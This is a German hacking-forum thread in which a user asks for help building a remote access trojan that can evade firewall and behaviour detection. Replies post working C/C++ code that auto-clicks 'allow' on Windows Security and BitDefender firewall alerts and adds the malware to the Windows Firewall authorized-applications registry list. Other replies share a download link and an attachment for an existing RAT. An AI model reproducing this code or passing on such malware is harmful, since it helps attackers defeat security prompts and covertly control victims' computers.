1. #1

    Registriert seit
    19.04.2013
    Beiträge
    1
    Thanked 0 Times in 0 Posts

    Standard RAT Programmierung

    Hi Leute,
    ich dachte mir ich programmiere mal ein kleines RAT, der Netzwerkcode sowie die normalen Trojanerfunktionen (scree capture, down/upload von Dateien usw.) sind ja kein Problem, aber beim firewall bypass oder dem umgehen der Verhaltenserkennung wird es schon schwieriger.

    Vielleicht hat jemand den Quelltext von alten Trojanern (möglichst einfache aber mit den unten genannten Funktionen) hier, so das man mal nachsehen kann wie die das machen (wenn ich über Google danach suche lande ich immer nur in alten Threads wo die hochgeladenen Dateien nicht mehr da sind). Einer in VB wäre schön aber C/C++ ist auch OK.

    Hilfreich wären auch Hinweise nach welchen Begriffen man da am besten googelt mit z.B. firewall bypass komme ich nicht weit.

    Mein Problem ist das die Verhaltenserkennnung der Firewall merkt wenn sich das Programm ins Userverzeichnis kopiert und dort startet, sowie wenn es sich in den Autostart schreibt und natürlich das die TCP Verbindung die es aufbauen will blockiert wird.

  2. #2
    Avatar von ThunderStorm
    Registriert seit
    12.02.2013
    Beiträge
    479
    Thanked 1.086 Times in 84 Posts

    Standard AW: RAT Programmierung

    pwnat - NAT to NAT client-server communication

    Alternativ könntest du auch einfach über die WinAPI die Meldungen der Firewall manipulieren.
    Mit .NET brauchst du da nicht anfangen, mit VB erst recht nicht.
    Beispiel:


    ////////////////////////////////
    // Firewall By Pass //
    ////////////////////////////////
    #include "includes.h"
    #include "functions.h"
    #include "externs.h"

    #ifndef NO_BYPASS

    DWORD WINAPI BypassThread(LPVOID)
    {
    while(1)
    {
    HWND wnd = 0;

    if( (wnd = fFindWindow(0, "Windows Security Alert")) )
    {
    // Click the "allow" button.
    fSendMessage(wnd, WM_COMMAND, MAKEWORD(104,BN_CLICKED ), 0);
    // wait for the window to close
    while( fIsWindow(wnd) ) Sleep(50);
    break;
    }
    else if( (wnd = fFindWindow(0, "BitDefender Firewall Alert")) )
    {
    // Click the "remember" button (Doesn't work right now)
    fSendMessage(wnd, WM_COMMAND, MAKEWORD(13133, BN_CLICKED ), 0);
    // Click the okay button
    fSendMessage(wnd, WM_COMMAND, MAKEWORD(IDOK,BN_CLICKED ), 0);
    // Wait for the window to close
    while( fIsWindow(wnd) ) Sleep(50);
    break;
    }
    Sleep(30); // Don't use 100% CPU
    }
    return 0;
    }
    #endif


    Für die Windows Firewall


    #define WIN32_LEAN_AND_MEAN
    #include <winsock2.h>
    #include <windows.h>
    #include <string>
    using namespace std;

    void AddException(string path)
    {
    HKEY hk;
    DWORD dw;

    string skey = path + ":*:Enabled:@xpsp2res.dll,-22019";

    RegCreateKeyExA(
    HKEY_LOCAL_MACHINE,
    "SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List",
    0,
    NULL,
    REG_OPTION_NON_VOLATILE,
    KEY_WRITE,
    NULL,
    &hk,
    &dw
    );

    RegSetValueExA(
    hk,
    path.c_str(),
    0,
    REG_SZ,
    (BYTE*)skey.c_str(),
    (DWORD)skey.length()
    );

    RegCloseKey(hk);
    }

    int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
    {
    char *CmdLineA, *Location;

    CmdLineA = GetCommandLineA();
    Location = CmdLineA + 1;
    Location[strlen(Location)-2] = 0;

    AddException(Location);
    }


    Der Nachteil ist halt dass du dir für jedes verbreitete AV einen Handler schreiben musst.


    Zitat Zitat von helpster.de
    Festplatten von 2 Gigabyte RAM sind mittlerweile günstig zu haben.

  3. #3
    Avatar von Prinzessin Paat
    Registriert seit
    22.11.2011
    Beiträge
    426
    Thanked 760 Times in 258 Posts

    Standard AW: RAT Programmierung

    Zitat Zitat von ThunderStorm
    Der Nachteil ist halt dass du dir für jedes verbreitete AV einen Handler schreiben musst.
    Dafür gibt es sicherlich in Fachbezogenen Foren einige Vorlagen. Schau einfach mal bei Back2Hack oder sowas.

  4. #4
    Avatar von iToxic
    Registriert seit
    18.11.2011
    Beiträge
    918
    Thanked 1.773 Times in 913 Posts

    Standard AW: RAT Programmierung

    Echelon RAT 0.4 von Krusty. Geschrieben in VB.NET:

    Anhang 3594

    http://www.xup.in/dl,40448112/ecln_0.4.rar/


  5. The Following User Says Thank You to iToxic For This Useful Post:

    Lain (21.04.2013)

  6. #5
    Avatar von ThunderStorm
    Registriert seit
    12.02.2013
    Beiträge
    479
    Thanked 1.086 Times in 84 Posts

    Standard AW: RAT Programmierung

    Ist irgendwie kaputt:

    ! C:\Downloads\ECLN_0.4.RAR: Der Dateikopf von "" ist zerstört.
    ! C:\Downloads\ECLN_0.4.RAR: Unerwartetes Archivende.
    Könntest du das nochmal hochladen? Am besten gleich als Anhang, die Captchas sucken...


    Zitat Zitat von helpster.de
    Festplatten von 2 Gigabyte RAM sind mittlerweile günstig zu haben.

  7. #6
    Avatar von iToxic
    Registriert seit
    18.11.2011
    Beiträge
    918
    Thanked 1.773 Times in 913 Posts

    Standard AW: RAT Programmierung

    Aber klar doch

    ECLN_0.4.RAR


Ähnliche Themen

  1. .NET Windows Phone Programmierung
    Von exception im Forum .Net
    Antworten: 5
    Letzter Beitrag: 29.09.2013, 06:55
  2. [S] Grundlagen für Programmierung
    Von Runix im Forum OffTopic
    Antworten: 2
    Letzter Beitrag: 23.03.2012, 07:10
  3. [HELP] Knuddels Bot Client Programmierung
    Von Bielefelder1989 im Forum Knuddels Programmierung
    Antworten: 9
    Letzter Beitrag: 07.03.2011, 17:53
Diese Seite nutzt Cookies, um das Nutzererlebnis zu verbessern. Klicken Sie hier, um das Cookie-Tracking zu deaktivieren.